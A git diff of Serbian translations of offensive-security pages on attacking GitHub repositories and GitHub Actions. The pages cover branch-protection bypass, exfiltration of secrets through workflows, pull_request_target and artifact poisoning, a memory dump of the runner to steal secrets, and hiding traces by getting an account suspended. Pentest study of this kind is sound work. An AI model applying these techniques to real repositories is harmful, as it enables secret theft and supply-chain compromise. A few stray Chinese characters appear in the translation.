+Proverite odeljak ispod o [**zaobilaznicama zaštite grana**](./#branch-protection-bypass) u slučaju da je korisno. ### Sa korisničkim SSH ključem @@ -130,7 +130,7 @@ git config --list ``` Ako je korisnik konfigurisao svoje korisničko ime kao svoje github korisničko ime, možete pristupiti **javnim ključevima koje je postavio** na svom nalogu na _https://github.com/\.keys_, možete proveriti ovo da potvrdite da li se privatni ključ koji ste pronašli može koristiti. -**SSH ključevi** se takođe mogu postaviti u repozitorijume kao **deploy ključevi**. Svako ko ima pristup ovom ključiću moći će da **pokrene projekte iz repozitorijuma**. Obično, na serveru sa različitim deploy ključevima, lokalna datoteka **`~/.ssh/config`** će vam dati informacije o tome kojem ključu se odnosi. +**SSH ključevi** se takođe mogu postaviti u repozitorijume kao **deploy ključevi**. Svako ko ima pristup ovom ključu moći će da **pokrene projekte iz repozitorijuma**. Obično na serveru sa različitim deploy ključevima lokalna datoteka **`~/.ssh/config`** će vam dati informacije o tome kojem ključu se odnosi. #### GPG Ključevi @@ -144,7 +144,7 @@ gpg --list-secret-keys --keyid-format=long Za uvod o [**korisničkim tokenima proverite osnovne informacije**](basic-github-information.md#personal-access-tokens). -Korisnički token može biti korišćen **umesto lozinke** za Git preko HTTPS-a, ili može biti korišćen za [**autentifikaciju na API preko osnovne autentifikacije**](https://docs.github.com/v3/auth/#basic-authentication). U zavisnosti od privilegija koje su mu dodeljene, možda ćete moći da izvršite različite radnje. +Korisnički token može biti korišćen **umesto lozinke** za Git preko HTTPS-a, ili može biti korišćen za [**autentifikaciju na API preko osnovne autentifikacije**](https://docs.github.com/v3/auth/#basic-authentication). U zavisnosti od privilegija koje su mu pridružene, možda ćete moći da izvršite različite radnje. Korisnički token izgleda ovako: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` @@ -154,7 +154,7 @@ Za uvod o [**Github Oauth aplikacijama proverite osnovne informacije**](basic-gi Napadač može kreirati **malicious Oauth aplikaciju** da bi pristupio privilegovanim podacima/radnjama korisnika koji je prihvataju verovatno kao deo phishing kampanje. -Ovo su [opsegovi koje Oauth aplikacija može zatražiti](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Uvek treba proveriti tražene opsegove pre nego što ih prihvatite. +Ovo su [opsezi koje Oauth aplikacija može zatražiti](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Uvek treba proveriti opsege koji se traže pre nego što ih prihvatite. Pored toga, kao što je objašnjeno u osnovnim informacijama, **organizacije mogu dati/oduzeti pristup trećim aplikacijama** informacijama/repozitorijima/radnjama vezanim za organizaciju. @@ -174,7 +174,7 @@ Postoji nekoliko tehnika za kompromitovanje i zloupotrebu Github akcije, proveri abusing-github-actions/ {{#endref}} -## Obilaženje zaštite grane +## Zaobilaženje zaštite grane - **Zahtevajte određeni broj odobrenja**: Ako ste kompromitovali nekoliko naloga, možete jednostavno prihvatiti svoje PR-ove iz drugih naloga. Ako imate samo nalog sa kojeg ste kreirali PR, ne možete prihvatiti svoj PR. Međutim, ako imate pristup **Github Action** okruženju unutar repozitorijuma, koristeći **GITHUB_TOKEN** možda ćete moći da **odobrite svoj PR** i dobijete 1 odobrenje na ovaj način. - _Napomena za ovo i za ograničenje vlasnika koda da obično korisnik neće moći da odobri svoje PR-ove, ali ako možete, možete to zloupotrebiti da prihvatite svoje PR-ove._ @@ -183,16 +183,16 @@ abusing-github-actions/ - Kada je **CODEOWNER datoteka pogrešno konfigurisana**, Github se ne žali, ali je ne koristi. Stoga, ako je pogrešno konfigurisana, **zaštita vlasnika koda nije primenjena.** - **Dozvolite određenim akterima da zaobiđu zahteve za povlačenje**: Ako ste jedan od ovih aktera, možete zaobići zaštitu zahteva za povlačenje. - **Uključite administratore**: Ako ovo nije postavljeno i vi ste administrator repozitorijuma, možete zaobići ovu zaštitu grane. -- **PR otmica**: Možda ćete moći da **modifikujete PR nekog drugog** dodajući maliciozni kod, odobravajući rezultantni PR sami i spajajući sve. -- **Uklanjanje zaštite grane**: Ako ste **administrator repozitorijuma, možete onemogućiti zaštite**, spojiti svoj PR i ponovo postaviti zaštite. -- **Obilaženje zaštita za slanje**: Ako repozitorijum **samo dozvoljava određenim korisnicima** da šalju push (spajaju kod) u granama (zaštita grane može štititi sve grane specificirajući wildcard `*`). +- **PR otmica**: Možete biti u mogućnosti da **modifikujete PR nekog drugog** dodajući maliciozni kod, odobravajući rezultantni PR sami i spajajući sve. +- **Uklanjanje zaštita grane**: Ako ste **administrator repozitorijuma, možete onemogućiti zaštite**, spojiti svoj PR i ponovo postaviti zaštite. +- **Zaobilaženje zaštita za slanje**: Ako repozitorijum **samo dozvoljava određenim korisnicima** da šalju push (spajaju kod) u granama (zaštita grane može štititi sve grane specificirajući wildcard `*`). - Ako imate **pristup pisanju u repozitorijumu, ali vam nije dozvoljeno da šaljete kod** zbog zaštite grane, još uvek možete **napraviti novu granu** i unutar nje kreirati **github akciju koja se aktivira kada se kod pošalje**. Kako **zaštita grane neće štititi granu dok ne bude kreirana**, ovo prvo slanje koda u granu će **izvršiti github akciju**. -## Obilaženje zaštita okruženja +## Zaobilaženje zaštita okruženja Za uvod o [**Github okruženju proverite osnovne informacije**](basic-github-information.md#git-environments). -U slučaju da se okruženje može **pristupiti sa svih grana**, **nije zaštićeno** i možete lako pristupiti tajnama unutar okruženja. Imajte na umu da možete pronaći repozitorijume gde su **sve grane zaštićene** (specifikovanjem njihovih imena ili korišćenjem `*`), u tom scenariju, **pronađite granu u kojoj možete poslati kod** i možete **izvući** tajne kreirajući novu github akciju (ili modifikujući jednu). +U slučaju da okruženje može biti **pristupano sa svih grana**, **nije zaštićeno** i lako možete pristupiti tajnama unutar okruženja. Imajte na umu da možete naići na repozitorijume gde su **sve grane zaštićene** (specifikovanjem njihovih imena ili korišćenjem `*`), u tom scenariju, **pronađite granu u koju možete poslati kod** i možete **izvući** tajne kreiranjem nove github akcije (ili modifikovanjem jedne). Napomena, možete naići na ivicu slučaja gde su **sve grane zaštićene** (putem wildcard `*`) i specificirano je **ko može slati kod u grane** (_to možete specificirati u zaštiti grane_) i **vašem korisniku nije dozvoljeno**. I dalje možete pokrenuti prilagođenu github akciju jer možete kreirati granu i koristiti okidač za slanje preko nje same. **Zaštita grane dozvoljava slanje u novu granu, tako da će github akcija biti aktivirana**. ```yaml @@ -200,12 +200,12 @@ push: # Run it when a push is made to a branch branches: - current_branch_name #Use '**' to run when a push is made to any branch ``` -Napomena da će se **nakon kreiranja** grane **zaštita grane primeniti na novu granu** i nećete moći da je izmenite, ali do tada ćete već izvući tajne. +Napomena da će se **nakon kreiranja** grane **zaštita grane primeniti na novu granu** i nećete moći da je izmenite, ali ćete u tom trenutku već imati izvučene tajne. ## Persistencija - Generišite **korisnički token** -- Ukradite **github tokene** iz **tajni** +- Uk盗ite **github tokene** iz **tajni** - **Brisanje** rezultata **workflow-a** i **grana** - Dajte **više dozvola celoj organizaciji** - Kreirajte **webhook-ove** za exfiltraciju informacija @@ -216,7 +216,7 @@ Napomena da će se **nakon kreiranja** grane **zaštita grane primeniti na novu ### Impostor Commit-ovi - Bekdoor putem repo commit-ova -U Github-u je moguće **napraviti PR za repo iz forka**. Čak i ako PR **nije prihvaćen**, **commit** id unutar originalnog repoa će biti kreiran za fork verziju koda. Stoga, napadač **može da se oslanja na korišćenje specifičnog commit-a iz naizgled legitimnog repoa koji nije kreirao vlasnik repoa**. +U Github-u je moguće **napraviti PR za repo iz forka**. Čak i ako PR **nije prihvaćen**, **commit** id unutar originalnog repoa će biti kreiran za fork verziju koda. Stoga, napadač **može da se oslanja na korišćenje specifičnog commita iz naizgled legitimnog repoa koji nije kreirao vlasnik repoa**. Kao [**ovaj**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 470efff7b..2e31d320c 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -7,22 +7,22 @@ Na ovoj stranici ćete pronaći: - **rezime svih uticaja** napadača koji uspe da pristupi Github Action -- Različite načine za **pristup akciji**: +- Različite načine da **dobijete pristup akciji**: - Imajući **dozvole** za kreiranje akcije - Zloupotreba **okidača** povezanih sa pull request-om - Zloupotreba **drugih tehnika spoljnog pristupa** - **Pivotiranje** iz već kompromitovanog repozitorijuma -- Na kraju, odeljak o **tehnikama post-eksploatacije za zloupotrebu akcije iznutra** (uzrokovanje pomenutih uticaja) +- Na kraju, odeljak o **tehnikama post-ekspolatacije za zloupotrebu akcije iznutra** (zbog pomenutih uticaja) ## Impacts Summary Za uvod o [**Github Actions proverite osnovne informacije**](../basic-github-information.md#github-actions). -Ako možete **izvršiti proizvoljni kod u GitHub Actions** unutar **repozitorijuma**, možda ćete moći da: +Ako možete da **izvršite proizvoljan kod u GitHub Actions** unutar **repozitorijuma**, možda ćete moći da: - **Uk盗ite tajne** montirane na pipeline i **zloupotrebite privilegije pipeline-a** da dobijete neovlašćen pristup spoljnim platformama, kao što su AWS i GCP. -- **Komprimujete implementacije** i druge **artefakte**. -- Ako pipeline implementira ili skladišti resurse, mogli biste izmeniti konačni proizvod, omogućavajući napad na lanac snabdevanja. +- **Kompromitujete implementacije** i druge **artefakte**. +- Ako pipeline implementira ili čuva resurse, mogli biste da izmenite konačni proizvod, omogućavajući napad na lanac snabdevanja. - **Izvršite kod u prilagođenim radnicima** da zloupotrebite računske resurse i pivotirate na druge sisteme. - **Prepišete kod repozitorijuma**, u zavisnosti od dozvola povezanih sa `GITHUB_TOKEN`. @@ -32,10 +32,10 @@ Ova "**tajna**" (koja dolazi iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.toke
-Ovaj token je isti koji će **Github aplikacija koristiti**, tako da može pristupiti istim krajnjim tačkama: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Ovaj token je isti onaj koji će **Github aplikacija koristiti**, tako da može pristupiti istim krajnjim tačkama: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github bi trebao da objavi [**tok**](https://github.com/github/roadmap/issues/74) koji **omogućava međurepozitorijumski** pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`. +> Github bi trebao da objavi [**tok**](https://github.com/github/roadmap/issues/74) koji **omogućava međurepozitorijumski** pristup unutar GitHub-a, tako da repozitorijum može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`. Možete videti moguće **dozvole** ovog tokena na: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) @@ -134,7 +134,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -Moguće je proveriti dozvole date Github Token-u u drugim korisničkim repozitorijumima **proverom logova** akcija: +Moguće je proveriti dozvole date Github Token-u u repozitorijumima drugih korisnika **proverom logova** akcija:
@@ -151,9 +151,9 @@ U slučaju da članovi organizacije mogu **kreirati nove repozitorijume** i mož ### Izvršenje iz Nove Grane -Ako možete **kreirati novu granu u repozitorijumu koji već sadrži konfigurisan Github Action**, možete **modifikovati** to, **otpremiti** sadržaj, a zatim **izvršiti tu akciju iz nove grane**. Na ovaj način možete **ekstrahovati tajne na nivou repozitorijuma i organizacije** (ali morate znati kako se zovu). +Ako možete **kreirati novu granu u repozitorijumu koji već sadrži konfigurisan Github Action**, možete ga **modifikovati**, **otpremiti** sadržaj, a zatim **izvršiti tu akciju iz nove grane**. Na ovaj način možete **izvući tajne na nivou repozitorijuma i organizacije** (ali morate znati kako se zovu). -Možete napraviti modifikovanu akciju izvršnom **ručno,** kada se **kreira PR** ili kada se **neki kod otpremi** (u zavisnosti od toga koliko želite da budete uočljivi): +Možete napraviti modifikovanu akciju izvršnom **ručno,** kada se **PR kreira** ili kada se **neki kod otpremi** (u zavisnosti od toga koliko želite da budete uočljivi): ```yaml on: workflow_dispatch: # Launch manually @@ -167,23 +167,23 @@ branches: ``` --- -## Forked Execution +## Forkovana Izvršenja > [!NOTE] > Postoje različiti okidači koji bi mogli omogućiti napadaču da **izvrši Github akciju iz drugog repozitorijuma**. Ako su ti okidači loše konfigurisani, napadač bi mogao da ih kompromituje. ### `pull_request` -Okidač radnog toka **`pull_request`** će izvršiti radni tok svaki put kada se primi pull request uz neke izuzetke: prema zadatku, ako je to **prvi put** da **saradjujete**, neki **održavaoc** će morati da **odobri** **izvršenje** radnog toka: +Okidač radnog toka **`pull_request`** će izvršiti radni tok svaki put kada se primi pull request uz neke izuzetke: po defaultu, ako je to **prvi put** da **saradjujete**, neki **održavaoc** će morati da **odobri** **izvršenje** radnog toka:
> [!NOTE] -> Kako je **podrazumevano ograničenje** za **prvake** u doprinosima, mogli biste doprineti **ispravljanjem važeće greške/pravopisne greške** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**. +> Pošto je **podrazumevano ograničenje** za **prvake** u doprinosima, mogli biste doprineti **ispravljanjem važeće greške/typo-a** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**. > > **Testirao sam ovo i ne radi**: ~~Druga opcija bi bila da kreirate nalog sa imenom nekoga ko je doprineo projektu i obrisao njegov nalog.~~ -Pored toga, prema zadatku **sprečava pisane dozvole** i **pristup tajnama** ciljanom repozitorijumu kao što je pomenuto u [**dokumentaciji**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Pored toga, po defaultu **sprečava pisane dozvole** i **pristup tajnama** ciljanom repozitorijumu kao što je pomenuto u [**dokumentaciji**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): > Sa izuzetkom `GITHUB_TOKEN`, **tajne se ne prosleđuju izvršiocu** kada se radni tok pokrene iz **forkovanog** repozitorijuma. **`GITHUB_TOKEN` ima dozvole samo za čitanje** u pull request-ima **iz forkovanih repozitorijuma**. @@ -192,16 +192,16 @@ Napadač bi mogao da izmeni definiciju Github akcije kako bi izvršio proizvoljn > [!CAUTION] > **Da, ako napadač promeni u PR-u github akciju koja će biti pokrenuta, njegova Github akcija će biti ta koja će se koristiti, a ne ona iz originalnog repozitorijuma!** -Kako napadač takođe kontroliše kod koji se izvršava, čak i ako nema tajni ili pisanih dozvola na `GITHUB_TOKEN`, napadač bi mogao, na primer, **da otpremi zlonamerne artefakte**. +Pošto napadač takođe kontroliše kod koji se izvršava, čak i ako nema tajni ili pisanih dozvola na `GITHUB_TOKEN`, napadač bi mogao, na primer, **da otpremi zlonamerne artefakte**. ### **`pull_request_target`** Okidač radnog toka **`pull_request_target`** ima **pisane dozvole** za ciljani repozitorijum i **pristup tajnama** (i ne traži dozvolu). -Napomena: okidač radnog toka **`pull_request_target`** **izvršava se u osnovnom kontekstu** i ne u onom koji daje PR (da **ne izvršava nepouzdani kod**). Za više informacija o `pull_request_target` [**proverite dokumentaciju**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Napomena da okidač radnog toka **`pull_request_target`** **radi u osnovnom kontekstu** i ne u onom koji daje PR (da **ne izvršava nepouzdani kod**). Za više informacija o `pull_request_target` [**proverite dokumentaciju**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ Pored toga, za više informacija o ovoj specifičnoj opasnoj upotrebi proverite ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Može izgledati kao da je **izvršeni radni tok** onaj definisan u **osnovi** i **ne u PR-u**, pa je **sigurno** koristiti **`pull_request_target`**, ali postoje **neki slučajevi kada to nije**. +Može izgledati kao da je **izvršeni radni tok** onaj definisan u **osnovi** i **ne u PR-u**, da je **sigurno** koristiti **`pull_request_target`**, ali postoje **neki slučajevi kada to nije**. A ovaj će imati **pristup tajnama**. @@ -209,7 +209,7 @@ A ovaj će imati **pristup tajnama**. Okidač [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) omogućava pokretanje radnog toka iz drugog kada je `završen`, `tražen` ili `u toku`. -U ovom primeru, radni tok je konfiguran da se izvrši nakon što se završi odvojeni "Pokreni testove" radni tok: +U ovom primeru, radni tok je konfiguran da se pokrene nakon što se završi odvojeni "Pokreni testove" radni tok: ```yaml on: workflow_run: @@ -217,31 +217,31 @@ workflows: [Run Tests] types: - completed ``` -Moreover, according to the docs: Workflow pokrenut događajem `workflow_run` može **pristupiti tajnama i pisati tokene, čak i ako prethodni workflow nije**. +Pored toga, prema dokumentaciji: Radni tok pokrenut događajem `workflow_run` može **pristupiti tajnama i pisati tokene, čak i ako prethodni radni tok nije**. -Ova vrsta workflow-a može biti napadnuta ako **zavisi** od **workflow-a** koji može biti **pokrenut** od strane spoljnog korisnika putem **`pull_request`** ili **`pull_request_target`**. Nekoliko ranjivih primera može se [**pronaći u ovom blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi se sastoji od **`workflow_run`** pokrenutog workflow-a koji preuzima napadačev kod: `${{ github.event.pull_request.head.sha }}`\ -Drugi se sastoji od **prosleđivanja** **artifact-a** iz **nepouzdanog** koda u **`workflow_run`** workflow i korišćenja sadržaja ovog artifact-a na način koji ga čini **ranjivim na RCE**. +Ova vrsta radnog toka može biti napadnuta ako se **oslanja** na **radni tok** koji može biti **pokrenut** od strane spoljnog korisnika putem **`pull_request`** ili **`pull_request_target`**. Nekoliko ranjivih primera može se [**pronaći u ovom blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi se sastoji od **`workflow_run`** pokrenutog radnog toka koji preuzima kod napadača: `${{ github.event.pull_request.head.sha }}`\ +Drugi se sastoji od **prosleđivanja** **artefakta** iz **nepouzdanog** koda u **`workflow_run`** radni tok i korišćenja sadržaja ovog artefakta na način koji ga čini **ranjivim na RCE**. ### `workflow_call` TODO -TODO: Proveriti da li kada se izvršava iz pull_request-a korišćeni/preuzeti kod dolazi iz originala ili iz forkovanog PR-a +TODO: Proveriti da li kada se izvršava iz `pull_request`, korišćeni/preuzeti kod dolazi iz originala ili iz forkovanog PR ## Zloupotreba Forkovane Izvršavanja -Pomenuli smo sve načine na koje spoljašnji napadač može uspeti da pokrene github workflow, sada hajde da pogledamo kako ove izvršavanja, ako su loše konfigurisane, mogu biti zloupotrebljene: +Pomenuli smo sve načine na koje bi spoljašnji napadač mogao uspeti da pokrene github radni tok, sada hajde da pogledamo kako bi ove izvršavanja, ako su loše konfigurisane, mogle biti zloupotrebljene: ### Nepouzdan checkout izvršavanje -U slučaju **`pull_request`,** workflow će biti izvršen u **kontekstu PR-a** (tako da će izvršiti **maliciozni kod PR-a**), ali neko mora prvo da **autorizuje** i biće izvršen sa nekim [ograničenjima](./#pull_request). +U slučaju **`pull_request`,** radni tok će biti izvršen u **kontekstu PR** (tako da će izvršiti **maliciozni kod PR-a**), ali neko mora prvo da **odobri** i biće izvršen sa nekim [ograničenjima](./#pull_request). -U slučaju workflow-a koji koristi **`pull_request_target` ili `workflow_run`** koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` ili `pull_request`**, kod iz originalnog repozitorijuma će biti izvršen, tako da **napadač ne može kontrolisati izvršeni kod**. +U slučaju radnog toka koji koristi **`pull_request_target` ili `workflow_run`** koji zavisi od radnog toka koji može biti pokrenut iz **`pull_request_target` ili `pull_request`**, kod iz originalnog repozitorijuma će biti izvršen, tako da **napadač ne može kontrolisati izvršeni kod**. > [!CAUTION] -> Međutim, ako **akcija** ima **eksplicitni PR checkout** koji će **uzeti kod iz PR-a** (a ne iz osnove), koristiće napadačev kontrolisani kod. Na primer (proverite liniju 12 gde se preuzima kod PR-a): +> Međutim, ako **akcija** ima **eksplicitni PR checkout** koji će **uzeti kod iz PR** (a ne iz osnove), koristiće kod pod kontrolom napadača. Na primer (proverite liniju 12 gde se preuzima kod PR-a): -
# INSECURE. Pruženo samo kao primer.
+
# INSECURE. Provided as an example only.
 on:
 pull_request_target
 
@@ -266,13 +266,13 @@ arg1: ${{ secrets.supersecret }}
 - uses: fakerepo/comment-on-pr@v1
 with:
 message: |
-Hvala!
+Thank you!
 
-Potencijalno **nepouzdan kod se izvršava tokom `npm install` ili `npm build`** jer su skripte za izgradnju i referencirane **pakete pod kontrolom autora PR-a**. +Potencijalno **nepouzdan kod se izvršava tokom `npm install` ili `npm build`** jer su skripte za izgradnju i referencirani **paketi pod kontrolom autora PR-a**. > [!WARNING] -> Github dork za pretragu ranjivih akcija je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini za konfiguraciju poslova da se izvršavaju sigurno čak i ako je akcija konfigurisana nesigurno (kao što je korišćenje uslovnih izraza o tome ko je akter koji generiše PR). +> Github dork za pretragu ranjivih akcija je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini za konfiguraciju poslova da budu izvršeni sigurno čak i ako je akcija konfigurisana nesigurno (poput korišćenja uslovnih izraza o tome ko je akter koji generiše PR). ### Kontekst Injekcije Skripti @@ -284,11 +284,11 @@ gh-actions-context-script-injections.md ### **GITHUB_ENV Injekcija Skripti** -Iz dokumenata: Možete učiniti **promenljivu okruženja dostupnom za sve naredne korake** u workflow poslu tako što ćete definisati ili ažurirati promenljivu okruženja i napisati to u **`GITHUB_ENV`** datoteku okruženja. +Prema dokumentaciji: Možete učiniti **promenljivu okruženja dostupnom za sve naredne korake** u radnom toku tako što ćete definisati ili ažurirati promenljivu okruženja i napisati to u **`GITHUB_ENV`** datoteku okruženja. Ako bi napadač mogao **ubaciti bilo koju vrednost** unutar ove **env** promenljive, mogao bi ubaciti env promenljive koje bi mogle izvršiti kod u narednim koracima kao što su **LD_PRELOAD** ili **NODE_OPTIONS**. -Na primer ([**ovo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**ovo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje da je učitani artifact da čuva svoj sadržaj unutar **`GITHUB_ENV`** env promenljive. Napadač bi mogao da učita nešto poput ovoga da bi ga kompromitovao: +Na primer ([**ovo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**ovo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite radni tok koji veruje da je učitani artefakt da skladišti svoj sadržaj unutar **`GITHUB_ENV`** env promenljive. Napadač bi mogao da učita nešto poput ovoga da bi ga kompromitovao:
@@ -296,11 +296,11 @@ Na primer ([**ovo**](https://www.legitsecurity.com/blog/github-privilege-escalat #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -Kao što je pomenuto u [**ovom blog postu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova Github Akcija omogućava pristup artifact-ima iz različitih workflow-a i čak repozitorijuma. +Kao što je pomenuto u [**ovom blog postu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova Github Akcija omogućava pristup artefaktima iz različitih radnih tokova i čak repozitorijuma. -Problem je u tome što ako **`path`** parametar nije postavljen, artifact se ekstrahuje u trenutni direktorijum i može prepisati datoteke koje bi kasnije mogle biti korišćene ili čak izvršene u workflow-u. Stoga, ako je Artifact ranjiv, napadač bi mogao da zloupotrebi ovo da kompromituje druge workflow-e koji veruju Artifact-u. +Glavni problem je što ako **`path`** parametar nije postavljen, artefakt se ekstrahuje u trenutni direktorijum i može prepisati datoteke koje bi mogle biti kasnije korišćene ili čak izvršene u radnom toku. Stoga, ako je Artefakt ranjiv, napadač bi mogao da zloupotrebi ovo da kompromituje druge radne tokove koji veruju Artefaktu. -Primer ranjivog workflow-a: +Primer ranjivog radnog toka: ```yaml on: workflow_run: @@ -323,7 +323,7 @@ with: name: artifact path: ./script.py ``` -Ovo bi moglo biti napadnuto ovim radnim tokom: +Ovo bi moglo biti napadnuto ovom radnom procedurom: ```yaml name: "some workflow" on: pull_request @@ -356,9 +356,9 @@ Ako su drugi repozitorijumi koristili **zavisnosti iz ovih korisničkih repozito ## Repo Pivoting > [!NOTE] -> U ovom odeljku ćemo govoriti o tehnikama koje bi omogućile **pivotiranje sa jednog repozitorijuma na drugi**, pod pretpostavkom da imamo neku vrstu pristupa prvom (proverite prethodni odeljak). +> U ovoj sekciji ćemo govoriti o tehnikama koje bi omogućile **pivotiranje sa jednog repozitorijuma na drugi** pod pretpostavkom da imamo neku vrstu pristupa na prvom (proverite prethodnu sekciju). -### Trovanje Kešom +### Trovanje Keša Keš se održava između **izvršavanja radnih tokova u istoj grani**. Što znači da ako napadač **kompromituje** **paket** koji se zatim čuva u kešu i **preuzima** i izvršava ga **privilegovaniji** radni tok, on će moći da **kompromituje** i taj radni tok. @@ -366,7 +366,7 @@ Keš se održava između **izvršavanja radnih tokova u istoj grani**. Što zna gh-actions-cache-poisoning.md {{#endref}} -### Trovanje Artefaktima +### Trovanje Artefakata Radni tokovi mogu koristiti **artefakte iz drugih radnih tokova i čak repozitorijuma**, ako napadač uspe da **kompromituje** Github Akciju koja **otprema artefakt** koji se kasnije koristi od strane drugog radnog toka, on bi mogao da **kompromituje druge radne tokove**: @@ -466,11 +466,11 @@ key: ${{ secrets.PUBLISH_KEY }} ### Zloupotreba samostalno hostovanih izvršilaca -Način da se pronađe koje **Github Actions se izvršavaju u ne-github infrastrukturi** je pretraga za **`runs-on: self-hosted`** u konfiguraciji yaml za Github Action. +Način da se pronađe koje **Github akcije se izvršavaju u ne-github infrastrukturi** je pretraga za **`runs-on: self-hosted`** u konfiguraciji yaml za Github akcije. **Samostalno hostovani** izvršioci mogu imati pristup **dodatnim osetljivim informacijama**, drugim **mrežnim sistemima** (ranjivi krajnji tački u mreži? servis za metapodatke?) ili, čak i ako je izolovan i uništen, **više od jedne akcije može biti pokrenuto u isto vreme** i zlonamerna može **ukrasti tajne** druge. -U samostalno hostovanim izvršiocima takođe je moguće dobiti **tajne iz \_Runner.Listener**\_\*\* procesa\*\* koji će sadržati sve tajne radnih tokova u bilo kojoj fazi dumpovanjem njegove memorije: +U samostalno hostovanim izvršiocima takođe je moguće dobiti **tajne iz \_Runner.Listener**\_\*\* procesa\*\* koji će sadržati sve tajne radnih tokova u bilo kojoj fazi dumpovanjem svoje memorije: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" @@ -517,12 +517,12 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e Kao što ste mogli videti u prethodnom kodu, Github registry je hostovan na **`ghcr.io`**. -Korisnik sa pravima čitanja nad repozitorijumom će moći da preuzme Docker sliku koristeći lični pristupni token: +Korisnik sa dozvolama za čitanje nad repozitorijumom će moći da preuzme Docker sliku koristeći lični pristupni token: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -Then, the user could search for **leaked secrets in the Docker image layers:** +Zatim, korisnik može pretraživati **leakovane tajne u slojevima Docker slike:** {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics @@ -534,9 +534,9 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ## Sakrivanje tragova -(Teknika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji je podnet je jasno vidljiv javnosti na Github-u i ciljanom GitHub nalogu. Na GitHub-u po defaultu, **ne možemo obrisati PR sa interneta**, ali postoji obrt. Za GitHub naloge koji su **suspendovani** od strane GitHub-a, svi njihovi **PR-ovi se automatski brišu** i uklanjaju sa interneta. Dakle, da biste sakrili svoju aktivnost, potrebno je da ili dobijete **suspendovan GitHub nalog ili da vam nalog bude označen**. Ovo bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR-ove) +(Teknika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji je podnet je jasno vidljiv javnosti na Github-u i ciljanom GitHub nalogu. Na GitHub-u po defaultu, **ne možemo obrisati PR sa interneta**, ali postoji caka. Za GitHub naloge koji su **suspendovani** od strane GitHub-a, svi njihovi **PR-ovi se automatski brišu** i uklanjaju sa interneta. Dakle, da biste sakrili svoju aktivnost, potrebno je da ili dobijete **suspendovan GitHub nalog ili da vam nalog bude označen**. Ovo bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR-ove) -Organizacija na GitHub-u je veoma proaktivna u izveštavanju naloga GitHub-u. Sve što treba da uradite je da podelite "neke stvari" u Issue i oni će se pobrinuti da vaš nalog bude suspendovan za 12 sati :p i eto, učinili ste svoj exploit nevidljivim na github-u. +Organizacija na GitHub-u je veoma proaktivna u izveštavanju naloga GitHub-u. Sve što treba da uradite je da podelite "neke stvari" u Issue i oni će se pobrinuti da vaš nalog bude suspendovan za 12 sati :p i eto, učinili ste svoj exploit nevidljivim na GitHub-u. > [!WARNING] > Jedini način na koji organizacija može da sazna da su bili meta je da proveri GitHub logove iz SIEM-a, jer bi iz GitHub UI PR bio uklonjen. diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md 